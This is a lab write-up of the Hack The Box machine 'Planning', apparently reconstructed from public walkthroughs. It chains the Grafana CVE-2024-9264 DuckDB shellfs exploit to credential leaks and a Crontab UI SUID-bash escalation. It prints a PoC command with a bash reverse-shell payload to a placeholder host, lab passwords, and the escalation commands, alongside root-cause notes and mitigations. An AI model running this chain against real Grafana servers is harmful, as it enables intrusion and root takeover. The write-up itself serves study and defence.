Summary
This writeup is reconstructed from public walkthroughs (see Source attribution below). I have not personally rooted this box.
Planning is an Easy Linux box on the CVE-2024-9264 train —
Grafana 11.0.0’s SQL Expressions feature passes user input into
DuckDB; DuckDB’s shellfs extension is RCE. The lab provides
admin Grafana credentials. CVE-2024-9264 → root in the Grafana
container; container env vars leak the host SSH password; on the
host, a Crontab UI service on localhost:8000 has its own admin
credential in /opt/crontabs/crontab.db — log in to Crontab UI
and create a cron that drops a SUID bash.
The chain:
- Provided
admin / 0D5oT70Fq13EvB5rfor Grafana ongrafana.planning.htb. - CVE-2024-9264 PoC against
/api/ds/querywith a DuckDBINSTALL shellfs; LOAD shellfs; SELECT * FROM read_csv_auto('echo|...')payload → reverse shell as root inside the Grafana container. env | grep -i admin→GF_SECURITY_ADMIN_USER=enzo,GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!. SSH host asenzo.- Host enumeration finds Crontab UI on
127.0.0.1:8000;cat /opt/crontabs/crontab.dbreveals the admin passwordP4ssw0rdS0pRi0T3cfor the UI. - Log in to Crontab UI; create a cron
cp /bin/bash /tmp/rb && chmod +s /tmp/rb. Wait, run/tmp/rb -p. Root.
Recon
22/tcp OpenSSH
80/tcp nginx → planning.htb
+ vhost: grafana.planning.htb (Grafana 11.0.0)
Foothold — CVE-2024-9264 Grafana DuckDB RCE
Public PoC: nollium/CVE-2024-9264 and similar.
python3 cve-2024-9264.py \
--url http://grafana.planning.htb \
--user admin --password '0D5oT70Fq13EvB5r' \
--cmd 'bash -c "bash -i >& /dev/tcp/<C2>/<port> 0>&1"'
Reverse shell as root (the Grafana container runs as root —
intentionally, since Docker images often do).
Container → host
$ env | grep -i admin
GF_SECURITY_ADMIN_USER=enzo
GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!
$ ssh enzo@<host>
enzo lands on the actual host with user.txt.
Host → root — Crontab UI
$ ss -tlnp | grep 8000
LISTEN 127.0.0.1:8000 ... crontab-ui
$ cat /opt/crontabs/crontab.db | jq .
... { "name": "backup", "command": "...", "auth": { "user": "root", "pass": "P4ssw0rdS0pRi0T3c" } } ...
$ ssh -L 8000:127.0.0.1:8000 enzo@<host>
# attacker browser -> http://127.0.0.1:8000 -> log in as root
Add a cron with command cp /bin/bash /tmp/rb && chmod +s /tmp/rb,
schedule for “now”. After execution: /tmp/rb -p on the host.
Why each step worked
- CVE-2024-9264: SQL Expressions feature passed user input
to DuckDB without restricting which DuckDB extensions can
load;
shellfsissystem()-equivalent. - Grafana container as root: easy oversight; should be configured to run as a less-privileged user.
- Env vars exposed via process env: container creator passed credentials as env vars; once you have shell, env is a credential file.
- Password reuse across services: the same string used for Grafana admin was the host SSH password.
- Crontab UI as root: the service has full cron-write power and ran as root.
Counterfactuals
- Patch Grafana ≥ 11.0.5 / 11.1.5 / 11.2.0+ (CVE-2024-9264 fix).
- Run Grafana as non-root in the container; or use a distroless image.
- Use Docker secrets / Vault rather than env-var credentials.
- Don’t reuse passwords across services.
- Crontab UI should authenticate via SSO + run as a least-priv user; or skip it entirely.
Source attribution
Reconstruction is grounded in:
- 0xdf, “HTB: Planning” — https://0xdf.gitlab.io/2025/09/13/htb-planning.html
- IppSec, “Planning” video walkthrough — https://ippsec.rocks/?#Planning
- nollium PoC for CVE-2024-9264.
I have not personally rooted this box; the chain above is a study-guide reconstruction of those public sources.